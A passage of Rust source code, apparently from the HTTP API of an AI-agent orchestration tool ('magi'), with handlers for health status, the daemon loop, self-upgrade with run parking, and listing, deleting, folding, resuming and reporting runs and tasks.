1797}
1798
1799async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1823 loop {
1824 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1825 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1826 if !should_spawn_recheck(&cfg.update) {
1827 continue;
1828 }
1829 let Some(checker) = updater::Checker::new(&cfg.update) else {
1830 continue;
1831 };
1832 let progress = updater::read_progress(&home);
1833 if !update_recheck_due(&checker, progress.as_ref()) {
1834 continue;
1835 }
1836 if let Err(e) = checker.newer_release().await {
1837 tracing::warn!("background update recheck failed: {e:#}");
1838 }
1839 }
1840}
1841
1842fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1848 let default;
1849 let cfg = match cfg {
1850 Some(cfg) => cfg,
1851 None => {
1852 default = Config::default();
1853 &default
1854 }
1855 };
1856 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1857 match latest {
1858 Some(latest) => UpdateView {
1859 available: true,
1860 to: Some(latest.tag_name),
1861 },
1862 None => UpdateView {
1863 available: false,
1864 to: None,
1865 },
1866 }
1867}
1868
1869fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1875 let waiting_on = (progress.stage == updater::Stage::Parking)
1876 .then_some(progress.parked_run.as_deref())
1877 .flatten()
1878 .and_then(|id| read_run(&ui.runs, id).ok())
1879 .map(|run| {
1880 format!(
1881 "run {} is finishing {} before the address is handed over",
1882 run.short(),
1883 run.status.as_str()
1884 )
1885 });
1886 let detail = progress
1887 .detail
1888 .clone()
1889 .or_else(|| updater::read_note(&ui.home, &progress));
1890 let stalled = updater::stall(&progress, Timestamp::now());
1891 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1892 UpgradeProgressView {
1893 stuck_for_secs: stalled.map(|s| s.age_secs),
1894 stage: progress.stage,
1895 from: progress.from,
1896 to: progress.to,
1897 waiting_on,
1898 started_at: progress.started_at,
1899 updated_at: progress.updated_at,
1900 detail,
1901 }
1902}
1903
1904#[derive(Debug, Serialize)]
1909struct DiskView {
1910 #[serde(skip_serializing_if = "Option::is_none")]
1912 free_bytes: Option<u64>,
1913 runs_bytes: u64,
1915 worktrees_bytes: u64,
1917 #[serde(skip_serializing_if = "Option::is_none")]
1919 cache_bytes: Option<u64>,
1920}
1921
1922impl DiskView {
1923 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1925 let cache_bytes = cfg
1926 .and_then(|cfg| cfg.cache_dir())
1927 .map(|dir| crate::disk::dir_size(&dir));
1928 Self {
1929 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1930 runs_bytes: crate::disk::dir_size(&ui.runs),
1931 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1932 cache_bytes,
1933 }
1934 }
1935}
1936
1937#[derive(Debug, Serialize)]
1939struct DaemonView {
1940 running: bool,
1941 idle: Option<bool>,
1942 pid: Option<u32>,
1943 current: Vec<daemon::Current>,
1947 completed: Option<u64>,
1948 stale_for_secs: Option<i64>,
1949}
1950
1951impl DaemonView {
1952 fn of(status: Option<daemon::Reading>) -> Self {
1956 let Some(status) = status else {
1957 return Self {
1958 running: false,
1959 idle: None,
1960 pid: None,
1961 current: Vec::new(),
1962 completed: None,
1963 stale_for_secs: None,
1964 };
1965 };
1966 let now = Timestamp::now();
1967 let age = status.age_secs(now);
1968 Self {
1969 running: status.running(now),
1970 idle: Some(status.idle),
1971 pid: status.pid,
1972 current: status.current,
1973 completed: Some(status.completed),
1974 stale_for_secs: age,
1975 }
1976 }
1977}
1978
1979async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1980 blocking(move || {
1981 let reading = daemon::read_status(&ui.home);
1985 let loop_rev = ui.lock_loop().rev;
1989 let cfg = deputy_config(&ui.repo);
1992 let update = cached_update_view(cfg.as_ref());
1993 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1994 Ok(Json(HealthView {
1995 version: env!("CARGO_PKG_VERSION"),
1996 home: ui.home.display().to_string(),
1997 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
1998 runs_rev: runs_revision(&ui.runs),
1999 questions_rev: ui.questions.revision(),
2000 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2001 notifications_rev: ui.notices.revision(),
2002 notifications_unread: ui.notices.count_unread(),
2003 loop_rev,
2004 runs_unreadable: runs_unreadable(&ui.runs),
2005 questions_open: ui.questions.count_open(),
2006 questions_needs_owner: ui.questions.count_needs_owner(),
2007 daemon: DaemonView::of(reading.clone()),
2008 looping: ui.loop_view(reading),
2009 disk: DiskView::of(&ui, cfg.as_ref()),
2010 update,
2011 upgrade,
2012 }))
2013 })
2014 .await
2015}
2016
2017#[derive(Debug, Serialize)]
2019struct LoopView {
2020 running: bool,
2022 stopping: bool,
2030 parking: bool,
2038 owned: bool,
2046 repo: String,
2049 merge: Option<String>,
2052 last_error: Option<String>,
2060 daemon: DaemonView,
2063}
2064
2065#[derive(Debug, Clone, Copy)]
2074struct Foreign {
2075 pid: Option<u32>,
2077}
2078
2079impl Foreign {
2080 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2083 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2087 }
2088
2089 fn who(&self) -> String {
2092 match self.pid {
2093 Some(pid) => format!("another magi process (pid {pid})"),
2094 None => "another magi process".to_owned(),
2095 }
2096 }
2097}
2098
2099type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2104
2105fn launch_daemon(
2107 opts: daemon::Opts,
2108 stop: daemon::Stop,
2109) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2110 Box::pin(daemon::serve_until(opts, stop))
2111}
2112
2113#[derive(Debug, Default)]
2115struct LoopState {
2116 live: Option<Live>,
2118 rev: u64,
2126 last_error: Option<String>,
2129 resume_after_handover: bool,
2134}
2135
2136#[derive(Debug)]
2138struct Live {
2139 stop: daemon::Stop,
2141 handle: tokio::task::JoinHandle<()>,
2146 opts: daemon::Opts,
2150}
2151
2152impl Live {
2153 fn alive(&self) -> bool {
2155 !self.handle.is_finished()
2156 }
2157}
2158
2159fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2166 state.lock().unwrap_or_else(PoisonError::into_inner)
2167}
2168
2169async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2171 blocking(move || {
2172 let reading = daemon::read_status(&ui.home);
2173 Ok(Json(ui.loop_view(reading)))
2174 })
2175 .await
2176}
2177
2178#[derive(Debug, Deserialize)]
2184#[serde(deny_unknown_fields)]
2185struct LoopCommand {
2186 running: bool,
2187 #[serde(default)]
2197 park: bool,
2198}
2199
2200async fn loop_post(
2208 State(ui): State<Arc<Ui>>,
2209 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2210) -> ApiResult<Json<LoopView>> {
2211 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2214 blocking(move || {
2215 let reading = daemon::read_status(&ui.home);
2216 let foreign = Foreign::of(reading.as_ref());
2217 if body.running {
2218 ui.start_loop(foreign)?;
2219 } else {
2220 ui.stop_loop(foreign, body.park)?;
2221 }
2222 Ok(Json(ui.loop_view(reading)))
2223 })
2224 .await
2225}
2226
2227#[derive(Debug, Serialize)]
2229struct UpgradeView {
2230 from: String,
2232 to: Option<String>,
2234 parked: Option<String>,
2236 detail: String,
2238}
2239
2240async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2264 let reading = daemon::read_status(&ui.home);
2265 if let Some(other) = Foreign::of(reading.as_ref()) {
2266 return Err(ApiError::conflict(format!(
2267 "the loop belongs to {}, so replacing this binary would leave \
2268 that process running an old one against the same queue. Upgrade \
2269 where it was started.",
2270 other.who()
2271 )));
2272 }
2273
2274 if crate::updater::disabled_by_env() {
2280 return Ok((
2281 StatusCode::OK,
2282 Json(UpgradeView {
2283 from: env!("CARGO_PKG_VERSION").to_owned(),
2284 to: None,
2285 parked: None,
2286 detail: format!(
2287 "Automatic updates are disabled by {}. Nothing was parked \
2288 and nothing restarted.",
2289 crate::updater::NO_AUTOUPDATE_ENV
2290 ),
2291 }),
2292 ));
2293 }
2294
2295 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2300 let from = env!("CARGO_PKG_VERSION").to_owned();
2301 let latest = match crate::updater::Checker::new(&cfg.update) {
2302 Some(checker) => checker
2303 .newer_release()
2304 .await
2305 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2306 None => None,
2307 };
2308 let Some(latest) = latest else {
2309 return Ok((
2310 StatusCode::OK,
2311 Json(UpgradeView {
2312 from,
2313 to: None,
2314 parked: None,
2315 detail: "Already on the newest release. Nothing was parked \
2316 and nothing restarted."
2317 .to_owned(),
2318 }),
2319 ));
2320 };
2321
2322 let parked = ui.park_for_upgrade()?;
2325 let detail = match &parked {
2326 Some(run) => format!(
2331 "Run {} is parking at its next step, which can take as long as \
2332 the step it is on - up to an hour for an implement wave. The \
2333 deck replaces itself once it parks, comes back, and the loop \
2334 carries that run on from where it stopped. Nothing is lost if \
2335 you close this.",
2336 crate::run::short_of(run)
2337 ),
2338 None => "The deck replaces itself and comes back. Nothing was in \
2339 flight to park."
2340 .to_owned(),
2341 };
2342
2343 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2347 progress.parked_run = parked.clone();
2348 let _ = updater::write_progress(&ui.home, &progress);
2349
2350 let home = ui.home.clone();
2351 let looping = ui.looping();
2352 tokio::spawn(async move {
2353 if let Err(e) = upgrade_and_restart(home.clone()).await {
2354 tracing::error!("the upgrade did not complete: {e:#}");
2355 lock_or_recover(&looping).resume_after_handover = false;
2356 if let Some(mut progress) = updater::read_progress(&home) {
2357 progress.fail(format!("{e:#}"));
2358 let _ = updater::write_progress(&home, &progress);
2359 }
2360 }
2361 });
2362
2363 Ok((
2364 StatusCode::ACCEPTED,
2365 Json(UpgradeView {
2366 from,
2367 to: Some(latest.tag_name),
2368 parked,
2369 detail,
2370 }),
2371 ))
2372}
2373
2374async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2379 crate::updater::run_self_update(true, false, true).await?;
2382 updater::log_step(&home, "binary replaced - recording the replaced stage");
2383 if let Some(mut progress) = updater::read_progress(&home) {
2384 progress.advance(updater::Stage::Replaced);
2385 updater::write_progress_logged(&home, &progress);
2386 }
2387 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2388 HANDOVER.notify_one();
2389 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2390 Ok(())
2391}
2392
2393#[derive(Debug, Serialize)]
2399struct RunSummary {
2400 id: String,
2401 short: String,
2402 status: String,
2403 done: bool,
2404 instruction: String,
2405 title: String,
2406 repo: String,
2407 repo_name: String,
2408 created_at: String,
2409 updated_at: String,
2410 candidates: usize,
2411 viable: usize,
2412 judges: usize,
2413 winner: Option<char>,
2414 reviews: usize,
2415 quota_losses: usize,
2416 event: Option<String>,
2417 superseded_by: Option<String>,
2422 waiting: bool,
2429 live: crate::run::Liveness,
2433 pr: Option<crate::run::PrRecord>,
2435 unmerged_by_design: bool,
2441 origin_label: String,
2444}
2445
2446impl RunSummary {
2447 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2448 Self {
2449 id: state.id.clone(),
2450 short: state.short().to_owned(),
2451 status: status_word(state.status),
2452 done: state.status.done(),
2453 unmerged_by_design: state.unmerged_by_design(),
2454 instruction: state.instruction.clone(),
2455 title: title_from(&state.instruction, TITLE_MAX),
2456 repo: state.repo.display().to_string(),
2457 repo_name: state
2458 .repo
2459 .file_name()
2460 .map(|n| n.to_string_lossy().into_owned())
2461 .unwrap_or_default(),
2462 created_at: state.created_at.to_string(),
2463 updated_at: state.updated_at.to_string(),
2464 candidates: state.candidates.len(),
2465 viable: state.viable().len(),
2466 judges: state.config.graph.judges,
2467 winner: state.winner().map(|c| c.label),
2468 reviews: state.reviews.len(),
2469 quota_losses: state.quota.len(),
2470 event: state.events.last().map(|e| e.message.clone()),
2471 waiting,
2472 live,
2473 superseded_by: None,
2476 pr: state.pr.clone(),
2477 origin_label: crate::run::origin_label(state.origin.as_ref()),
2478 }
2479 }
2480}
2481
2482fn status_word(status: RunStatus) -> String {
2485 status.as_str().to_owned()
2489}
2490
2491#[derive(Debug, Deserialize)]
2493struct ListQuery {
2494 #[serde(default)]
2495 limit: Option<usize>,
2496 ids: Option<String>,
2498}
2499
2500impl ListQuery {
2501 fn contains(&self, id: &str) -> bool {
2502 self.ids
2503 .as_ref()
2504 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2505 }
2506}
2507
2508async fn runs_list(
2509 State(ui): State<Arc<Ui>>,
2510 Query(q): Query<ListQuery>,
2511) -> ApiResult<Json<Vec<RunSummary>>> {
2512 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2513 blocking(move || {
2514 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2515 let states = run_ids(&ui.runs)
2516 .into_iter()
2517 .filter_map(|id| read_run(&ui.runs, &id).ok())
2522 .take(limit)
2523 .filter(|run| q.contains(&run.id));
2524 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2525 let summaries = summarize(
2526 states,
2527 &open_runs,
2528 &claimed,
2529 &superseded,
2530 |p| probe.borrow_mut().status(p),
2531 |p| probe.borrow_mut().started_at(p),
2532 );
2533 Ok(Json(summaries))
2534 })
2535 .await
2536}
2537
2538fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2543 let open_runs: HashSet<String> = ui
2544 .questions
2545 .list()
2546 .into_iter()
2547 .filter(|q| q.status.open())
2548 .map(|q| q.run)
2549 .collect();
2550 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2551 .into_iter()
2552 .map(|c| c.run)
2553 .collect();
2554 (open_runs, claimed, ui.queue.superseded())
2555}
2556
2557fn summarize<I, S, D>(
2563 states: I,
2564 open_runs: &HashSet<String>,
2565 claimed: &HashSet<String>,
2566 superseded: &HashMap<String, String>,
2567 mut status_q: S,
2568 mut identity_q: D,
2569) -> Vec<RunSummary>
2570where
2571 I: IntoIterator<Item = RunState>,
2572 S: FnMut(u32) -> Option<bool>,
2573 D: FnMut(u32) -> Option<String>,
2574{
2575 states
2576 .into_iter()
2577 .map(|state| {
2578 let waiting = open_runs.contains(&state.id);
2579 let live =
2580 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2581 let mut row = RunSummary::of(&state, waiting, live);
2582 row.superseded_by = superseded
2583 .get(&state.id)
2584 .map(String::as_str)
2585 .map(crate::run::short_of)
2586 .map(str::to_owned);
2587 row
2588 })
2589 .collect()
2590}
2591
2592#[derive(Debug, Serialize)]
2599struct RunDetailView {
2600 #[serde(flatten)]
2601 state: RunState,
2602 instruction_md: Vec<md::Node>,
2603 #[serde(flatten)]
2607 prose_md: RunProseMd,
2608 live: crate::run::Liveness,
2623 unmerged_by_design: bool,
2628 done: bool,
2633 superseded_by: Option<String>,
2641 latest_attempt: Option<LatestAttempt>,
2655 task: Option<TaskRef>,
2658 origin_label: String,
2662}
2663
2664#[derive(Debug, Serialize)]
2666struct TaskRef {
2667 id: String,
2668 short: String,
2669 title: String,
2670 source_label: String,
2672 source_link: Option<SourceLink>,
2674 status: &'static str,
2676 attempts: usize,
2677 max_attempts: usize,
2678 is_latest: bool,
2680 latest: Option<RunBrief>,
2682 finished_by: Option<RunBrief>,
2684 closed_by_hand: bool,
2686}
2687
2688#[derive(Debug, PartialEq, Eq, Serialize)]
2690struct SourceLink {
2691 kind: &'static str,
2693 id: String,
2695 href: String,
2697}
2698
2699fn encode_segment(raw: &str) -> String {
2701 let mut out = String::with_capacity(raw.len());
2702 for b in raw.bytes() {
2703 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2704 out.push(b as char);
2705 } else {
2706 out.push_str(&format!("%{b:02X}"));
2707 }
2708 }
2709 out
2710}
2711
2712fn source_link(source: &Source) -> Option<SourceLink> {
2716 let Source::Agent { run, node } = source else {
2717 return None;
2718 };
2719 let (kind, route) = if node == crate::queue::CHAT_NODE {
2720 ("chat", "chat")
2721 } else {
2722 ("run", "runs")
2723 };
2724 Some(SourceLink {
2725 kind,
2726 id: run.clone(),
2727 href: format!("#/{route}/{}", encode_segment(run)),
2728 })
2729}
2730
2731#[derive(Debug, Serialize)]
2733struct RunBrief {
2734 id: String,
2735 short: String,
2736 status: Option<&'static str>,
2738 outcome: String,
2740}
2741
2742fn task_outcome(
2745 task: &Task,
2746 this_run: &str,
2747 max_attempts: usize,
2748 read: impl Fn(&str) -> Option<RunState>,
2749) -> TaskRef {
2750 let history = task_history(task, read);
2751 let brief = |h: &TaskRunView| RunBrief {
2752 id: h.id.clone(),
2753 short: h.short.clone(),
2754 status: h.status,
2755 outcome: h.exit.edge_label(h.status),
2756 };
2757 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2758 let latest = if is_latest {
2759 None
2760 } else {
2761 history.last().map(brief)
2762 };
2763 let done = task.status == TaskStatus::Done;
2764 let finished_by = done
2765 .then(|| {
2766 history
2767 .iter()
2768 .rev()
2769 .find(|h| {
2770 matches!(
2771 h.exit,
2772 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2773 )
2774 })
2775 .map(brief)
2776 })
2777 .flatten();
2778 TaskRef {
2779 short: task.short().to_owned(),
2780 title: task.title.clone(),
2781 id: task.id.clone(),
2782 source_label: task.source.label(),
2783 source_link: source_link(&task.source),
2784 status: task.status.as_str(),
2785 attempts: task.attempts,
2786 max_attempts,
2787 is_latest,
2788 latest,
2789 closed_by_hand: done && finished_by.is_none(),
2790 finished_by,
2791 }
2792}
2793
2794#[derive(Debug, Serialize)]
2796struct LatestAttempt {
2797 id: String,
2798 short: String,
2799 resolved: bool,
2810 status: RunStatus,
2813 done: bool,
2815}
2816
2817#[derive(Debug, Default, Serialize)]
2819struct RunProseMd {
2820 advice_md: Option<AdviceMd>,
2822 candidate_summaries_md: Vec<Vec<md::Node>>,
2824 reviews_md: Vec<RoundMd>,
2826}
2827
2828#[derive(Debug, Default, Serialize)]
2829struct AdviceMd {
2830 synthesis: Vec<md::Node>,
2831 approaches: Vec<Vec<md::Node>>,
2833}
2834
2835#[derive(Debug, Default, Serialize)]
2836struct RoundMd {
2837 reviewers: Vec<ReviewerMd>,
2839 reconsideration: Vec<Vec<md::Node>>,
2841 fix: Option<FixMd>,
2842}
2843
2844#[derive(Debug, Default, Serialize)]
2845struct ReviewerMd {
2846 summary: Vec<md::Node>,
2847 findings: Vec<Vec<md::Node>>,
2849}
2850
2851#[derive(Debug, Default, Serialize)]
2852struct FixMd {
2853 notes: Vec<md::Node>,
2854 rejected: Vec<Vec<md::Node>>,
2856}
2857
2858fn run_prose_md(state: &RunState) -> RunProseMd {
2860 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2861 RunProseMd {
2862 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2863 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2864 approaches: a
2865 .records
2866 .iter()
2867 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2868 .collect(),
2869 }),
2870 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2871 reviews_md: state
2872 .reviews
2873 .iter()
2874 .map(|round| RoundMd {
2875 reviewers: round
2876 .reviews
2877 .iter()
2878 .map(|rec| ReviewerMd {
2879 summary: nodes(&rec.summary),
2880 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2881 })
2882 .collect(),
2883 reconsideration: round
2884 .reconsideration
2885 .iter()
2886 .map(|rv| nodes(&rv.reason))
2887 .collect(),
2888 fix: round.fix.as_ref().map(|fix| FixMd {
2889 notes: nodes(&fix.notes),
2890 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2891 }),
2892 })
2893 .collect(),
2894 }
2895}
2896
2897impl RunDetailView {
2898 fn of(
2899 state: RunState,
2900 live: crate::run::Liveness,
2901 superseded_by: Option<String>,
2902 latest_attempt: Option<LatestAttempt>,
2903 task: Option<TaskRef>,
2904 ) -> Self {
2905 Self {
2906 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2907 prose_md: run_prose_md(&state),
2908 origin_label: crate::run::origin_label(state.origin.as_ref()),
2909 live,
2910 unmerged_by_design: state.unmerged_by_design(),
2911 done: state.status.done(),
2912 superseded_by,
2913 latest_attempt,
2914 task,
2915 state,
2916 }
2917 }
2918}
2919
2920async fn run_detail(
2921 State(ui): State<Arc<Ui>>,
2922 Path(id): Path<String>,
2923) -> ApiResult<Json<RunDetailView>> {
2924 blocking(move || {
2925 let id = resolve_run(&ui.runs, &id)?;
2926 let state = read_run(&ui.runs, &id)?;
2927 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2928 let live = state.liveness(daemon_claims);
2929 let superseded_by = ui
2930 .queue
2931 .superseded_by(&id)
2932 .as_deref()
2933 .map(crate::run::short_of)
2934 .map(str::to_owned);
2935 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2939 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2940 short: head.short().to_owned(),
2941 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2942 status: head.status,
2943 done: head.status.done(),
2944 id: head.id,
2945 })
2946 });
2947 let max_attempts = daemon::Opts::default().max_attempts;
2948 let task = ui
2949 .queue
2950 .list()
2951 .into_iter()
2952 .find(|t| t.runs.contains(&id))
2953 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2954 Ok(Json(RunDetailView::of(
2955 state,
2956 live,
2957 superseded_by,
2958 latest_attempt,
2959 task,
2960 )))
2961 })
2962 .await
2963}
2964
2965async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2974 let (id, unreadable) = {
2975 let ui = Arc::clone(&ui);
2976 blocking(move || {
2977 let id = resolve_run(&ui.runs, &id)?;
2978 match read_run(&ui.runs, &id) {
2979 Ok(state) => {
2980 let in_flight =
2981 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2982 state
2983 .ensure_can_delete(in_flight)
2984 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2985 let dir = ui.runs.join(&id);
2986 std::fs::remove_dir_all(&dir)
2987 .with_context(|| format!("remove run directory {}", dir.display()))?;
2988 Ok((id, false))
2989 }
2990 Err(_) => {
2991 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2995 return Err(ApiError::conflict(format!(
2996 "run {id} is being worked on by a live daemon right now"
2997 )));
2998 }
2999 Ok((id, true))
3000 }
3001 }
3002 })
3003 .await?
3004 };
3005 if unreadable {
3006 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3007 .await
3008 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3009 }
3010 let ui = Arc::clone(&ui);
3011 let done = id.clone();
3012 blocking(move || {
3013 ui.questions.abandon_for_run(
3016 &done,
3017 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3018 )?;
3019 Ok(())
3020 })
3021 .await?;
3022 Ok(StatusCode::NO_CONTENT)
3023}
3024
3025async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3049 let (id, state) = {
3050 let ui = Arc::clone(&ui);
3051 blocking(move || {
3052 let id = resolve_run(&ui.runs, &id)?;
3053 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3054 return Err(ApiError::conflict(format!(
3055 "run {id} is being worked on by a live daemon right now"
3056 )));
3057 }
3058 let state = read_run(&ui.runs, &id).ok();
3059 Ok((id, state))
3060 })
3061 .await?
3062 };
3063 let removed = match state {
3064 Some(mut state) => {
3065 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3066 .await
3067 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3068 if removed.is_empty() {
3073 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3074 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3075 }
3076 removed
3077 }
3078 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3079 .await
3080 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3081 };
3082 Ok(Json(FoldView {
3083 run: id,
3084 removed_count: removed.len(),
3085 removed,
3086 }))
3087}
3088
3089#[derive(Debug, Serialize)]
3091struct FoldView {
3092 run: String,
3093 removed: Vec<String>,
3095 removed_count: usize,
3096}
3097
3098#[derive(Debug, Deserialize)]
3101struct FoldMergedBody {
3102 #[serde(default)]
3103 pr_url: String,
3104}
3105
3106async fn run_fold_merged(
3126 State(ui): State<Arc<Ui>>,
3127 Path(id): Path<String>,
3128 Json(body): Json<FoldMergedBody>,
3129) -> ApiResult<Json<FoldMergedView>> {
3130 let pr_url = body.pr_url.trim().to_owned();
3131 if pr_url.is_empty() {
3132 return Err(ApiError::bad_request("pr_url is required"));
3133 }
3134 let (id, mut state) = {
3135 let ui = Arc::clone(&ui);
3136 blocking(move || {
3137 let id = resolve_run(&ui.runs, &id)?;
3138 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3139 return Err(ApiError::conflict(format!(
3140 "run {id} is being worked on by a live daemon right now"
3141 )));
3142 }
3143 let state = read_run(&ui.runs, &id)?;
3144 Ok((id, state))
3145 })
3146 .await?
3147 };
3148 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3149 .await
3150 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3151 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3152 .await
3153 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3154 Ok(Json(FoldMergedView {
3155 run: id,
3156 before: before.as_str().to_owned(),
3157 after: after.as_str().to_owned(),
3158 removed,
3159 }))
3160}
3161
3162#[derive(Debug, Serialize)]
3164struct FoldMergedView {
3165 run: String,
3166 before: String,
3168 after: String,
3170 removed: Vec<String>,
3172}
3173
3174async fn run_resume(
3194 State(ui): State<Arc<Ui>>,
3195 Path(id): Path<String>,
3196) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3197 let (id, state) = {
3198 let ui = Arc::clone(&ui);
3199 blocking(move || {
3200 let id = resolve_run(&ui.runs, &id)?;
3201 let state = read_run(&ui.runs, &id)?;
3202 Ok((id, state))
3203 })
3204 .await?
3205 };
3206 if let Some(to) = &state.released_to {
3207 return Err(ApiError::conflict(format!(
3208 "run {} can no longer be resumed: its worktree was released to run {}, which \
3209 took the branch over.",
3210 state.short(),
3211 crate::run::short_of(to)
3212 )));
3213 }
3214 if !state.status.resumable() {
3215 return Err(ApiError::conflict(format!(
3216 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3217 state.short(),
3218 status_word(state.status)
3219 )));
3220 }
3221 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3226 .into_iter()
3227 .next()
3228 {
3229 return Err(ApiError::conflict(format!(
3230 "the loop is running run {} right now; stop it first, or wait for \
3231 it to finish, before resuming a run by hand.",
3232 crate::run::short_of(&work.run)
3233 )));
3234 }
3235 let _resume = ui.begin_resume(&id)?;
3236
3237 let queued = RunSummary::of(
3240 &state,
3241 !ui.questions.open_for(&id).is_empty(),
3242 state.liveness(false),
3243 );
3244 let run = id.clone();
3245 tokio::spawn(async move {
3246 let _resume = _resume;
3247 match crate::graph::Runner::resume(&run) {
3248 Ok(mut runner) => {
3249 if let Err(e) = runner.execute().await {
3250 tracing::warn!("resume of run {run} stopped: {e:#}");
3251 }
3252 }
3253 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3256 }
3257 });
3258 Ok((StatusCode::ACCEPTED, Json(queued)))
3259}
3260
3261async fn run_report(
3262 State(ui): State<Arc<Ui>>,
3263 Path(id): Path<String>,
3264) -> ApiResult<impl IntoResponse> {
3265 let text = blocking(move || {
3266 let id = resolve_run(&ui.runs, &id)?;
3267 let state = read_run(&ui.runs, &id)?;
3271 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3272 let live = state.liveness(daemon_claims);
3273 Ok(format!(
3274 "{}{}",
3275 report::run(&state),
3276 report::active_seats(&state, live)
3277 ))
3278 })
3279 .await?;
3280 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3281}
3282
3283#[derive(Debug, Serialize)]
3289struct TaskView {
3290 #[serde(flatten)]
3291 task: Task,
3292 source_label: String,
3293 source_link: Option<SourceLink>,
3294 status_str: &'static str,
3295 instruction_md: Vec<md::Node>,
3299 waits_on: Vec<String>,
3303 stuck_roots: Vec<String>,
3306}
3307
3308impl From<Task> for TaskView {
3309 fn from(task: Task) -> Self {
3310 Self {
3311 source_label: task.source.label(),
3312 source_link: source_link(&task.source),
3313 status_str: task.status.as_str(),
3314 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3315 waits_on: Vec::new(),
3316 stuck_roots: Vec::new(),
3317 task,
3318 }
3319 }
3320}
3321
3322impl TaskView {
3323 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3324 let waits_on = inv.waits_on(&task);
3325 let stuck_roots = inv
3326 .stuck_roots(&task)
3327 .iter()
3328 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
